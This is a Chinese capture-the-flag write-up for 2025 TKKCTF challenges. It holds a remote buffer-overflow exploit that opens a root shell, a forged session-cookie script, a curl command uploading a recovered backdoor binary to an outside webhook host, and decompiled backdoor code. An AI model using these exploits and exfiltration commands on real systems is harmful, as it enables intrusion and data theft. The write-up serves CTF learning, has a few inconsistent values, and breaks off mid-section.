2025TKKCTF

Reverse

Seal

![](2025 TKKCTF/1765004782013-b950ca11-5634-47d7-89f7-8f680ba3ce74.png)

题目如上,没有什么线索,我们直接下载附件查看

先die和file看看,没什么特别的,是一个arm64的Mach-O可执行文件

![](2025 TKKCTF/1765004924955-ca80f470-3817-4a76-8336-450e78e786b5.png)

![](2025 TKKCTF/1765005071507-6ca0b8a6-5c37-4386-872f-4728136258b8.png)

再看一下字符串,strings一下

![](2025 TKKCTF/1765005224026-f4d57845-72ef-4114-ad27-a9c56f4d28df.png)

能看到不少的字符串,大概能看得出来在说需要一个key,而且还会检查长度

看上去逻辑不是很复杂,我们扔给IDA看看

这边IDA我v8.3的反编译不了,像下边一样报错了

![](2025 TKKCTF/1765005448453-c1a772dd-4be5-4043-832c-3e07277ac39e.png)

但是v9.1的很坚挺,直接就给反编译出来了

![](2025 TKKCTF/1765005583070-499c5005-2dae-4766-9e13-4c29652ad33d.png)

那就很明确了,上来在检测长度是否为33

![](2025 TKKCTF/1765005746419-da414ffa-2032-413c-adcf-522a1c094eb7.png)

核心加密区域明显在这一块,a2是key,然后byte_100008000里边存着的都是密文

就一步简单异或

![](2025 TKKCTF/1765005799437-9193515f-4a8b-47a8-a3eb-5cbffcf5117f.png)

双击进去就全看见了密文

至于key,因为flag形式是xujc{}的,所以前四位与一个东西异或会变成xujc就行

很容易发现是0xD3

所以key和密文都有了,直接解就好了

1
2
3
4
5
6
enc = [ 0xAB,0xA6,0xB9,0xB0,0xA8,0xBE,0xB2,0xB0,0xE3,0xE6,0x8C,0xE7,0xA1,0xBE,0xE5,0xE7,0x8C,0xE2,0xBD,0xA7,0xE0,0xB4,0xA1,0xE2,0xA7,0xAA,0x8C,0xB0,0xBB,0xE0,0xB0,0xB8,0xAE]

for i in range(len(enc)):
enc[i] ^= 0xD3

print(bytes(enc))

![](2025 TKKCTF/1765006020800-732b1fb4-b7aa-4d3d-9265-967cde0a5360.png)

得到flag为xujc{mac05_4rm64_1nt3gr1ty_ch3ck}

Matzs Nightmare

![](2025 TKKCTF/1765007086804-92602fcf-214b-4c1b-b007-5016d8dff8a4.png)

依旧die,file

![](2025 TKKCTF/1765007630373-c36615c0-4f1a-4a1a-8e95-f1f657fd3f78.png)

![](2025 TKKCTF/1765007652772-aa58813b-698d-4693-96e0-78939eddb8fb.png)

依旧是个arm64的Mach-O可执行文件

依旧放到v9.1的ida里,v8.3的反编译不了

![](2025 TKKCTF/1765007841895-43a5051c-f4b0-477e-9bfe-ffc9df028a58.png)

看看字符串,发现有一堆的mruby,这是Ruby语言的轻量级解释器

和题目中的语言,以及题目Matzs都对应上了,因为mruby的开发者就是Matzs团队

![](2025 TKKCTF/1765008137675-50e84ed5-1719-4b6f-9224-0baa0ad420a7.png)

最核心的是RITE0300完美对应 mruby 的字节码格式标志,本题就是一个宿主C程序加上了内嵌的mruby的结构

C语言的那部分主要负责启动mruby,把RITE字节码load进去,然后去进行校验

所以我们的核心就是把这个字节码抽出来,然后看清楚检验flag的逻辑,最后求flag

首先抽出来,利用dd就能抽了

1
2
3
4
OFFSET=450208   
SIZE=1118

dd if=matzs of=code.mrb bs=1 skip=$OFFSET count=$SIZE

关键是这俩OFFSET和SIZE怎么得到

首先是OFFSET

1
grep -oba "RITE0300" matzs

我们通过标志位RITE0300来锁定并gerp获得偏移量

![](2025 TKKCTF/1765008424500-ae677625-55ca-490a-be6a-839b8bd63d87.png)

是在450208的位置

![](2025 TKKCTF/1765008438559-bb106cf6-a820-4f16-a93d-b7fd29ab58c1.png)

就这里

然后是确定SIZE,注意第0x08–0x0B这4个字节即可

![](2025 TKKCTF/1765008494968-94b5037a-e29c-415e-a9d3-4d3651b67ef5.png)

0x045E,所以是1118

![](2025 TKKCTF/1765008934798-7d7866e2-a5ee-44f3-8008-d90a4b77e11f.png)

执行dd命令,得到code.mrb

有了这个字节码之后看看信息和指令就好了

1
mruby -v -d code.mrb

![](2025 TKKCTF/1765009057693-9fe2e186-5cb9-4497-9fa3-753797d37abd.png)

好接下来我们看看在干啥就好了

![](2025 TKKCTF/1765009166718-aea6336d-b068-4a31-81f1-e0005970e645.png)

首先是这一块,对长度在检测,限制长度需要是45才可以

![](2025 TKKCTF/1765009228451-f32e1124-2576-452d-be87-ee38da31d607.png)

然后是这边开始按 9 个字符一组切块

![](2025 TKKCTF/1765009273225-bb523165-b74e-41f7-8f92-7d87bef8b19b.png)

后边是两块,刚刚45个被切成了5组嘛,就一组一组来

这边是第一组,可以看到上边是常量数组,下边是XOR密钥是55

五组都这样子来大概就是这样子

1
2
size_check(s) &&
split(s).zip(validators).map { |chunk, f| f.call(chunk) }.all?

我们直接写代码反着来一遍就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
enc = [
[79, 66, 93, 84, 76, 19, 95, 4, 104],
[221, 154, 223, 155, 206, 245, 196, 153, 220],
[33, 96, 77, 54, 38, 107, 77, 101, 122],
[238, 175, 238, 130, 249, 181, 238, 130, 190],
[97, 56, 102, 10, 51, 39, 101, 56, 40],
]

keys = [55, 170, 18, 221, 85]

flag = ""
for arr, key in zip(enc, keys):
flag += "".join(chr(c ^ key) for c in arr)

print(flag)

输出得到答案:xujc{$h3_w0u1d_n3v3r_$4y_wh3r3_$h3_c4m3_fr0m}

Pwn

Magic Over

![](2025 TKKCTF/1765091858666-893f33fc-631a-4ff4-8a65-606fce2ce1b0.png)

保护:

![](2025 TKKCTF/1765025739142-5e406733-3f26-4dd7-8a87-b5ff56db2ffa.png)

![](2025 TKKCTF/1765091989524-d0578848-88f6-496f-99dd-f0a0d3511f91.png)

看主函数,这边存在溢出,正好有8个字节

![](2025 TKKCTF/1765092041380-39604dd7-2083-4f56-9910-66e7ad6315b0.png)

让v5初始值为0x04030201,然后填充进去0xBEBABEC0即可(小端序)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.log_level = 'debug'

p = remote('47.122.52.77', 33405)
p.recvuntil(b"[>] Enter data to overwrite buffer: \n")

payload = b'A' * 56
payload += p64(0xC0FEBABE)

p.sendline(payload)
p.recvuntil(b"Opening root shell...\n")

p.sendline(b"cat flag* 2>/dev/null || cat /flag* 2>/dev/null || find / -name flag* 2>/dev/null || env | grep -i flag")

flag = p.recvall(timeout=2).decode()
print(f"\n[+] Found flag: {flag}")

p.close()

得到flag

Web

Real or AI

![](2025 TKKCTF/1765092152769-b068376f-443f-402c-8ebd-aadd25740052.png)

一个游戏,我们在源代码能看到得到flag的方法

![](2025 TKKCTF/1765094088188-a5849cf6-c88f-4fe6-bc9b-bbe1b87ee5ba.png)

根据要求,先需要修改,注入 SHA-256 函数并重写原函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
// 先注入 SHA-256 实现
function sha256(ascii) {
function rightRotate(value, amount) {
return (value >>> amount) | (value << (32 - amount));
}
var mathPow = Math.pow;
var maxWord = mathPow(2, 32);
var lengthProperty = 'length';
var i, j;
var result = '';
var words = [];
var asciiBitLength = ascii[lengthProperty] * 8;
var hash = sha256.h = sha256.h || [];
var k = sha256.k = sha256.k || [];
var primeCounter = k[lengthProperty];
var isComposite = {};
for (var candidate = 2; primeCounter < 64; candidate++) {
if (!isComposite[candidate]) {
for (i = 0; i < 313; i += candidate) {
isComposite[i] = candidate;
}
hash[primeCounter] = (mathPow(candidate, .5) * maxWord) | 0;
k[primeCounter++] = (mathPow(candidate, 1 / 3) * maxWord) | 0;
}
}
ascii += '\x80';
while (ascii[lengthProperty] % 64 - 56) ascii += '\x00';
for (i = 0; i < ascii[lengthProperty]; i++) {
j = ascii.charCodeAt(i);
if (j >> 8) return;
words[i >> 2] |= j << ((3 - i) % 4) * 8;
}
words[words[lengthProperty]] = ((asciiBitLength / maxWord) | 0);
words[words[lengthProperty]] = (asciiBitLength);
for (j = 0; j < words[lengthProperty];) {
var w = words.slice(j, j += 16);
var oldHash = hash;
hash = hash.slice(0, 8);
for (i = 0; i < 64; i++) {
var w15 = w[i - 15], w2 = w[i - 2];
var a = hash[0], e = hash[4];
var temp1 = hash[7]
+ (rightRotate(e, 6) ^ rightRotate(e, 11) ^ rightRotate(e, 25))
+ ((e & hash[5]) ^ ((~e) & hash[6]))
+ k[i]
+ (w[i] = (i < 16) ? w[i] : (
w[i - 16]
+ (rightRotate(w15, 7) ^ rightRotate(w15, 18) ^ (w15 >>> 3))
+ w[i - 7]
+ (rightRotate(w2, 17) ^ rightRotate(w2, 19) ^ (w2 >>> 10))
) | 0
);
var temp2 = (rightRotate(a, 2) ^ rightRotate(a, 13) ^ rightRotate(a, 22))
+ ((a & hash[1]) ^ (a & hash[2]) ^ (hash[1] & hash[2]));
hash = [(temp1 + temp2) | 0].concat(hash);
hash[4] = (hash[4] + temp1) | 0;
}
for (i = 0; i < 8; i++) {
hash[i] = (hash[i] + oldHash[i]) | 0;
}
}
for (i = 0; i < 8; i++) {
for (j = 3; j + 1; j--) {
var b = (hash[i] >> (j * 8)) & 255;
result += ((b < 16) ? 0 : '') + b.toString(16);
}
}
return result;
}

// 重写 verifyAndFetchFlag
window.verifyAndFetchFlag = async function(e, t) {
const salt = "c3Mddbo1oit2CF92Clb9HenrjWBd6rXa";
const msg = salt + e.toString() + t.toString();
const hashHex = sha256(msg);

console.log('计算哈希:', hashHex);
console.log('参数:', e, t);

fetch('/secrets/' + hashHex + '.txt')
.then(response => {
if (response.ok) return response.text();
throw new Error('404 Not Found');
})
.then(flag => {
navigator.clipboard.writeText(flag.trim());
alert('Success! Flag copied: ' + flag.trim());
})
.catch(err => {
console.error(err);
alert('Verification Failed.');
});
};
console.log('verifyAndFetchFlag 已重写,使用本地 SHA-256 实现');

接下来直接尝试得到flag即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
async function tryCommonCombinations() {
const salt = "snpFQjIU1EwWZAAWpch5hlKlq5nb1Zvi";

// 常见总轮数
const commonTotals = [999]
// 尝试满分组合
for (let t of commonTotals) {
const e = t; // 满分
const msg = salt + e.toString() + t.toString();
const hashHex = sha256(msg);
console.log(`尝试 e=${e}, t=${t}, 哈希: ${hashHex.substring(0, 16)}...`);

try {
const response = await fetch(`/secrets/${hashHex}.txt`);
if (response.ok) {
const flag = await response.text();
console.log(`成功! e=${e}, t=${t}, flag: ${flag}`);
navigator.clipboard.writeText(flag.trim());
alert('Flag: ' + flag.trim());
return;
}
} catch (err) {
// 继续尝试
}
// 等待一下,避免请求过快
await new Promise(resolve => setTimeout(resolve, 100));
}
console.log('未找到 flag');
}

// 运行尝试
tryCommonCombinations();

吃吃吃

![](2025 TKKCTF/1765094131496-1cae7a0b-3faf-498f-a18f-ba124d5fe360.png)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import requests
from itsdangerous import URLSafeTimedSerializer
import secrets
from datetime import datetime

# 生成会话cookie
def generate_cookie():
secret_key = "welcometotkkctf"
s = URLSafeTimedSerializer(
secret_key,
salt='cookie-session',
signer_kwargs={'key_derivation': 'hmac', 'digest_method': 'SHA1'}
)
now = datetime.now()
user_id = f"{now.hour}{now.minute}/" + secrets.token_urlsafe(30)
session_data = {'user': user_id, 'balance': 100000}
cookie = s.dumps(session_data)
return cookie

# 目标URL(替换为实际IP和端口)
url = "http://47.122.52.77:33452/" # 例如: http://192.168.1.100:9999

# 生成cookie
cookie = generate_cookie()
headers = {'Cookie': f'session={cookie}'}
print(f"生成的Cookie: {cookie}")

# 创建会话保持cookie
s = requests.Session()
s.headers.update(headers)

try:
# 1. 访问首页初始化余额
r = s.get(url)
print(f"访问首页状态码: {r.status_code}")
if r.status_code != 200:
print("首页访问失败,检查URL和网络")
exit()

# 2. 购买两个面条
for i in range(2):
r = s.post(url + "/buy_noodles")
print(f"购买面条 {i+1}: {r.text}")
if "错误" in r.text:
print("购买面条失败,余额不足")
exit()

# 3. 购买一个零食
r = s.post(url + "/buy_snack")
print(f"购买零食: {r.text}")
if "错误" in r.text:
print("购买零食失败,余额不足")
exit()

# 4. 访问/eat获取flag
r = s.get(url + "/eat")
print("\n=== 结果 ===")
print(r.text)
if "GZCTF" in r.text or "flag" in r.text.lower():
print("✅ 成功获取flag!")
else:
print("❌ 未找到flag,检查购买是否成功")
except Exception as e:
print(f"请求失败: {e}")

Misc

Game

更是新颖啊,evtx文件我还第一次见呢

![](2025 TKKCTF/1765019972824-4673c0b0-e6b8-4147-aea1-49621e99e846.png)

一条条看有点太折磨了

大概是14.21左右有人点开了这个加密的pdf

然后弹了UAC

之后在14.26左右开始出现一堆Powershell进程了

![](2025 TKKCTF/1765020378321-fab07253-84ea-4bb1-aa54-cbebb5e7a426.png)

这些Powershell在一次次往b.dat里边塞Base64

目的是合成大脚本

![](2025 TKKCTF/1765020467202-745b9c15-65c6-4568-acdf-3c004c86d7de.png)

最后干出来了,用certutil把b.dat解码了,变成了Powershell脚本

这里边有两个至关重要出现的Key1和Key2

1
2
Key1=TkkcSecProtectsTanKahKeeCollege
Key2=ictoryIsOursLonliveTotheCTF

所以我们跟这个日志一样拼起来去解那个pdf就好了

简化一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
param(
[string]$InFile = "flag.pdf.secured",
[string]$OutFile = "flag.pdf"
)

# Base64 解码函数(跟原脚本一样)
function f_dec {
param([string]$in)
[System.Text.Encoding]::UTF8.GetString(
[System.Convert]::FromBase64String($in)
)
}

# Key 1 / Key 2:保持和原脚本一致
$p44Lm = "VGtrY1NlY1Byb3RlY3RzVGFuS2FoS2VlQ29sbGVnZQ=="
$o55Nr = "aWN0b3J5SXNPdXJzTG9ubGl2ZVRvdGhlQ1RG"

# 解出明文密钥字符串
$u88Ty = f_dec $p44Lm # "TkkcSecProtectsTanKahKeeCollege"
$i33Er = f_dec $o55Nr # "ictoryIsOursLonliveTotheCTF"

# 和原来完全一样的 XOR 函数
function f_crpt {
param(
[byte[]]$b_src,
[byte[]]$k_a,
[byte[]]$k_b
)

$res = New-Object byte[] ($b_src.Length)
for ($i = 0; $i -lt $b_src.Length; $i++) {
$v1 = $k_a[$i % $k_a.Length]
$v2 = $k_b[$i % $k_b.Length]
$res[$i] = $b_src[$i] -bxor $v1 -bxor $v2
}
return $res
}

function Invoke-DecryptFile {
param(
[string]$InPath,
[string]$OutPath
)

if (-not (Test-Path -LiteralPath $InPath)) {
Write-Error "Input file not found: $InPath"
return
}

# 1. 读 .secured 里的 Base64 文本
$b64 = Get-Content -LiteralPath $InPath -Raw

# 2. Base64 解码成加密字节
$encBytes = [System.Convert]::FromBase64String($b64)

# 3. 准备两个密钥字节数组
$keyA = [System.Text.Encoding]::UTF8.GetBytes($u88Ty)
$keyB = [System.Text.Encoding]::UTF8.GetBytes($i33Er)

# 4. 再 XOR 一次,得到原始字节
$plainBytes = f_crpt $encBytes $keyA $keyB

# 5. 写成真正的 PDF 文件
[System.IO.File]::WriteAllBytes($OutPath, $plainBytes)

Write-Host "Decrypted OK -> $OutPath"
}

# 入口:用参数调用
Invoke-DecryptFile -InPath $InFile -OutPath $OutFile

差不多就是这样子

就是先Base64解码然后再XOR两个Key就好了

我们把这个代码保存为decrypt.ps1

然后执行

1
powershell -ExecutionPolicy Bypass -File .\decrypt.ps1

即可得到

![](2025 TKKCTF/1765021056226-9be28820-fd46-40b0-b31c-287486307910.png)

![](2025 TKKCTF/1765021160532-14f9130e-cffb-4c22-a540-05f1ea68148a.png)

打开就是flag

Screen Shot

![](2025 TKKCTF/1765016892791-cfd6b480-26f8-46a4-abbd-f0e4fb75dfd3.png)

其实我感觉是蛮贴合实际的一道好题目

首先给了一个kali404,是一个删完了bash_history的日志

日志不长,我们直接记事本打开就能看

![](2025 TKKCTF/1765017962510-5a917f16-581a-4352-8069-a92d6753f42e.png)

这边很显眼有个base64

![](2025 TKKCTF/1765018255935-9af88963-24ac-4c43-a6ed-dcc3ff649882.png)

解开得到了个Site 4

![](2025 TKKCTF/1765018374507-3d7f4322-03d8-4f18-b396-f5978e559aff.png)

这边还有一系列的提示,例如东边有Groom干湖,在NW侧的停机坪上等等

有许许多多的提示确定了这个最后的方位在美国内华达Nevada Test and Training Range(NTTR)/Nellis相关区域

![](2025 TKKCTF/1765018634689-287db60e-d37d-4020-b3f5-b9114fe1bb42.png)

我们很快就能定位到这个地方

然后根据描述,是右边就是干湖的

这边大方位都是上方干湖

所以可以锁定差不多在这边

![](2025 TKKCTF/1765018682385-e3e91638-6df0-46b8-beb1-b5c34c6a6b29.png)

又说是直升机

![](2025 TKKCTF/1765018697197-ac18f78b-d5e5-49ab-8c92-edefcef3f9cf.png)

基本可以确定是这一架了

![](2025 TKKCTF/1765018720612-a98e0b83-bdcd-4653-ad7a-cdfb343915b8.png)

所以flag为xujc{-115.8123_37.2471}(注意顺序即可)

Operation Ghost

![](2025 TKKCTF/1765186128080-b44636e2-c366-461e-8a33-d081e330866a.png)

对于这一类题目的了解程度感觉十分欠缺,也不知道如何将里边的可疑文件提出来,由本题展开学习。

本题目复现借鉴了Red师傅和Aristore师傅

https://redshome.top/posts/2025-12-08-2025-tkkctf/

https://www.aristore.top/posts/TKKCTF2025/#Challenge-2

首先是蜜罐

蜜罐一般会部署在一个独立的计算机或者虚拟机中运行,来模拟一个操作系统和应用程序,这模拟出来的漏洞和弱点都是和真实系统相似的,这样子通过监控和分析蜜罐的异常就能及时发现和应对潜在的网络威胁了。

蜜罐一般分为低交互和高交互蜜罐:低交互蜜罐会提供有限容易设置的信息,系统也只提供最低等级的交互,运维方便,但也容易被攻击者识别;至于高交互,更自由一点,开放世界,攻击者更便于横向渗透,而防守方也更方便后续溯源。

本题就是这样子一个蜜罐,被黑客打了,但是黑客隐藏起来了,我们需要找到他留下来的秘密

我们打开本环境

寻找秘密文件

![](2025 TKKCTF/1765186670231-5ffa52f7-5025-4357-9204-ecf73e6b3e1a.png)

输入root即可进入环境,根据题目所述,找不到可疑文件,因此我们考虑去进程搜索

查找一下指向(deleted)的进程

1
ls -l /proc/*/exe 2>/dev/null | grep deleted

![](2025 TKKCTF/1765186868421-dc1f9d47-4fe1-48bf-a767-1b0ee121854a.png)

成功找到了一个进程,PID为44

我们发现这个蜜罐允许strace命令, 那我们用strace -p 44来观察一下进程的行为

![](2025 TKKCTF/1765187308615-68c21b94-9b3d-4152-81cf-2d90d45df755.png)

发现这个进程20秒就会重新运行一次

再看看环境

![](2025 TKKCTF/1765196598143-daf7c7fc-5e4e-400a-afa2-55fdd88b26b3.png)

发现这边有一个Key:X-TKKC-Key-2025

说明后边可能要解密啥的,至少也说明我们找对了,就是和这个进程有关

我们尝试恢复这个删除的文件,利用系统会在进程运行时把可执行文件备份在内存的这个特性,我们可以用cp把这个进程给备份出来

1
cp /proc/44/exe /tmp/1.bin

尝试恢复文件

接下来我们想尝试能否将这个程序给提取出来查看内部结构,因此我们可以先测试是否出网

![](2025 TKKCTF/1765193394660-2b3f4cae-4ad8-4620-bfed-9a2fca4f9eba.png)

ping百度发现能ping通,因此是出网环境

利用webhook进行提取

1
curl -v -F 'file=@/tmp/1.bin' https://webhook.site/32079797-3f62-4409-988a-2c035c9acf16

(这个要钱。。)

我们也可以采用离线的时候一般采用的Base64编码带出来解码

借一下Aristore师傅的脚本,谢谢Aristore师傅

是在利用pwntools过前边几步然后以base64编码带出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import sys
import threading
import time
from pwn import *

HOST = '47.122.52.77'
PORT = 33785
LOG_FILENAME = "ghost.log"

def main():
try:
io = remote(HOST, PORT)
except:
print("[-] 连接失败")
return

io.recvuntil(b"TKKCSec login:")
io.sendline(b'root')

io.recvuntil(b'#')

# 打开日志文件准备写入
log_file = open(LOG_FILENAME, 'wb')

# 定义一个标志位用于控制线程退出
running = True

# 接收
def receiver():
while running:
try:
# 每次读取一点数据
data = io.recv(timeout=0.1)
if not data:
continue

# 写入文件
log_file.write(data)
log_file.flush()
except EOFError:
print("\n[*] 断开连接")
break
except Exception:
break

# 启动接收线程
t = threading.Thread(target=receiver)
t.daemon = True
t.start()

io.sendline("PID=$(ls -al /proc/*/exe 2>/dev/null | grep deleted | awk -F/ '{print $3}' | head -n 1)".encode())
time.sleep(2)
io.sendline("cp /proc/$PID/exe /tmp/kworker_u4_0".encode())
time.sleep(2)
io.sendline("base64 /tmp/kworker_u4_0".encode())
time.sleep(10)

# 清理
running = False
log_file.close()
io.close()

if __name__ == "__main__":
main()

![](2025 TKKCTF/1765195363846-593a563d-0e37-44f8-95d2-6cce0e7c9a65.png)

成功提取出来,我们去base64编码一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python3
import base64
import sys
import os

def main():
base64_data = sys.stdin.read()
base64_data = ''.join([ch for ch in base64_data if ch in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='])

try:
decoded_data = base64.b64decode(base64_data)
except Exception as e:
print("解码失败:", e)
sys.exit(1)

output_file = "1.bin"

with open(output_file, 'wb') as f:
f.write(decoded_data)
print("解密完成,输出文件:", output_file)
print("文件大小:", len(decoded_data), "字节")

if __name__ == '__main__':
main()

成功提取出文件,放入die看看

文件逻辑分析

![](2025 TKKCTF/1765196662449-bab64788-40bf-4f13-a4f3-14f70bff9698.png)

放到64位IDA中查看

![](2025 TKKCTF/1765196770521-ee3c8373-8601-4d41-bcbc-039a4324e383.png)

可以看到程序从这边开始,这边也是和我们刚刚的内容吻合,程序伪装成了Linux内核工作线程 [kworker/u4:0]之后每20秒进行了一次后门sub_40191A函数

核心在于这边的sub_40191A函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
_BYTE *sub_40191A()
{
_BYTE *result; // rax
int v1; // r8d
int v2; // r9d
__int64 v3; // rax
char v4[512]; // [rsp+0h] [rbp-3A0h] BYREF
char v5[128]; // [rsp+200h] [rbp-1A0h] BYREF
__int16 v6[2]; // [rsp+280h] [rbp-120h] BYREF
int v7; // [rsp+284h] [rbp-11Ch]
char v8[64]; // [rsp+290h] [rbp-110h] BYREF
char v9[128]; // [rsp+2D0h] [rbp-D0h] BYREF
char v10[16]; // [rsp+350h] [rbp-50h] BYREF
char v11[20]; // [rsp+360h] [rbp-40h] BYREF
unsigned int v12; // [rsp+374h] [rbp-2Ch]
_BYTE *v13; // [rsp+378h] [rbp-28h]
_BYTE *v14; // [rsp+380h] [rbp-20h]
_BYTE *v15; // [rsp+388h] [rbp-18h]
_BYTE *v16; // [rsp+390h] [rbp-10h]
_BYTE *v17; // [rsp+398h] [rbp-8h]

strcpy(v11, "TKKC_AUTH_TOKEN");
result = (_BYTE *)sub_404A40(v11);
v17 = result;
if ( result )
{
sub_4017BB(v17, v10);
sub_40185E(&unk_4A40E0, 72LL, v10, v9);
sub_40185E(&unk_4A4130, 24LL, v10, v8);
result = (_BYTE *)sub_401060(v9, &unk_477010);
v16 = result;
if ( result )
{
v16 += 3;
result = (_BYTE *)sub_4010C0(v16, 47LL);
v15 = result;
if ( result )
{
*v15 = 0;
v14 = v16;
v13 = v15 + 1;
v12 = sub_417D80(2LL, 1LL, 0LL);
v6[0] = 2;
v6[1] = sub_417EB0(9050LL);
v7 = sub_4180B0("127.0.0.1");
if ( (int)sub_417D60(v12, v6, 16LL) >= 0 )
{
sub_404CA0((unsigned int)v5, 128, (unsigned int)v8, (_DWORD)v17, v1, v2, v4[0]);
sub_404CA0(
(unsigned int)v4,
512,
(unsigned int)"GET /%s HTTP/1.0\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n",
(_DWORD)v13,
(_DWORD)v14,
(unsigned int)v5,
v4[0]);
v3 = sub_4010B8(v4);
sub_416EC0(v12, v4, v3);
return (_BYTE *)sub_416EA0(v12);
}
else
{
return (_BYTE *)sub_416EA0(v12);
}
}
}
}
return result;
}

这个后门主要干了4件事

1,先读取环境变量

![](2025 TKKCTF/1765197113641-4d7a1175-cc1c-4353-918f-778b7152b554.png)

2,从token生成密钥

![](2025 TKKCTF/1765197133664-ac8d5cf7-dec1-4582-82e8-5415fdd1ced1.png)

可以看到用的是FNV-1a哈希和线性同余生成器(LCG)

我们token是X-TKKC-Key-2025

所以得到token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def fnv1a_hash(data):
hash_value = 0x811C9DC5
for byte in data.encode():
hash_value ^= byte
hash_value = (hash_value * 16777619) & 0xFFFFFFFF
return hash_value

def generate_key(token):
h = fnv1a_hash(token)
key = [h & 0xFFFFFFFF]
for i in range(3):
h = (1664525 * key[i] + 1013904223) & 0xFFFFFFFF
key.append(h)
hex_key = [hex(num) for num in key]
return hex_key

print(generate_key("X-TKKC-Key-2025"))

key=[‘0xdfaaee15’, ‘0xf3066870’, ‘0x544ee10f’, ‘0xec935b22’]

3,解密URL和User-Agent模板

![](2025 TKKCTF/1765197178219-1d129788-663a-452e-bf7b-4bedc25dbf6e.png)

![](2025 TKKCTF/1765197153675-9b93f0e3-9109-490c-9f82-714745ac858b.png)

接下来来解密URL和User-Agent了

![](2025 TKKCTF/1765199646069-392ace19-976b-4aeb-ac93-50b90001aff0.png)

点进去发现是标准的XTEA算法,32轮

找一下密文

![](2025 TKKCTF/1765199849042-c22c8b4e-3e4f-4a99-a737-56b4b7f71158.png)

这边其实已经写了

XTEA解密脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import struct

def xtea_decrypt_block(v, key):
v0, v1 = struct.unpack('<II', v)
delta = 0x61C88647
sum_val = 0xC6EF3720 # delta * 32

for i in range(32):
v1 = (v1 - ((((v0 >> 5) ^ (v0 << 4)) + v0) ^ (key[(sum_val >> 11) & 3] + sum_val))) & 0xFFFFFFFF
sum_val = (sum_val + delta) & 0xFFFFFFFF
v0 = (v0 - ((((v1 >> 5) ^ (v1 << 4)) + v1) ^ (key[sum_val & 3] + sum_val))) & 0xFFFFFFFF

return struct.pack('<II', v0, v1)

def hex_string_to_int(hex_str):
if isinstance(hex_str, str):
if hex_str.startswith('0x'):
return int(hex_str, 16)
else:
return int(hex_str, 16)
return hex_str

def decrypt_xxtea(ciphertext_hex, key_hex):
key = [hex_string_to_int(k) for k in key_hex]
print(f"密钥(整数形式): {[hex(k) for k in key]}")

ciphertext_bytes = bytes([hex_string_to_int(b) for b in ciphertext_hex])
print(f"密文长度: {len(ciphertext_bytes)} 字节")

if len(ciphertext_bytes) % 8 != 0:
print(f"警告: 密文长度({len(ciphertext_bytes)})不是8的倍数,可能会解密失败")

decrypted_data = bytearray()
block_size = 8

for i in range(0, len(ciphertext_bytes), block_size):
if i + block_size <= len(ciphertext_bytes):
block = ciphertext_bytes[i:i + block_size]
decrypted_block = xtea_decrypt_block(block, key)
decrypted_data.extend(decrypted_block)

try:
padding_length = decrypted_data[-1]
if padding_length <= block_size:
if all(b == padding_length for b in decrypted_data[-padding_length:]):
decrypted_data = decrypted_data[:-padding_length]
print(f"去除PKCS7填充: {padding_length} 字节")
except (IndexError, ValueError):
pass
return bytes(decrypted_data)


key = ['0xdfaaee15', '0xf3066870', '0x544ee10f', '0xec935b22']
ciphertext = [
0xAB, 0x80, 0x05, 0x4B, 0xE0, 0x0A, 0x84, 0x9D, 0x2C, 0x1E,
0xC3, 0xEA, 0x79, 0x0B, 0x55, 0x0D, 0x24, 0x08, 0x26, 0xD0,
0x41, 0x8F, 0x33, 0x0A, 0xEE, 0xB4, 0xB4, 0x1F, 0x99, 0x47,
0x5C, 0x2B, 0xFA, 0x5E, 0xF5, 0xFD, 0xF3, 0xE9, 0x85, 0x3B,
0xEC, 0x7A, 0x64, 0xD7, 0xEA, 0x14, 0x7D, 0x8E, 0xFB, 0x20,
0x70, 0x73, 0x5D, 0xD6, 0x5F, 0x63, 0x13, 0x5B, 0xF1, 0xB0,
0x64, 0xC2, 0x10, 0x6C, 0xC1, 0xB1, 0x4B, 0x72, 0xB7, 0x51,
0x83, 0x73
]


print("开始XXTEA解密...")
print("=" * 50)

decrypted_result = decrypt_xxtea(ciphertext, key)

print("\n解密结果:")
print("=" * 50)
print(f"原始字节: {decrypted_result.hex()}")


try:
utf8_decoded = decrypted_result.decode('utf-8', errors='ignore')
print(f"UTF-8解码: {utf8_decoded}")
except Exception as e:
print(f"UTF-8解码失败: {e}")

print("=" * 50)
print("解密完成!")

0x4A40E0这边有72字节:

1
2
3
4
5
6
7
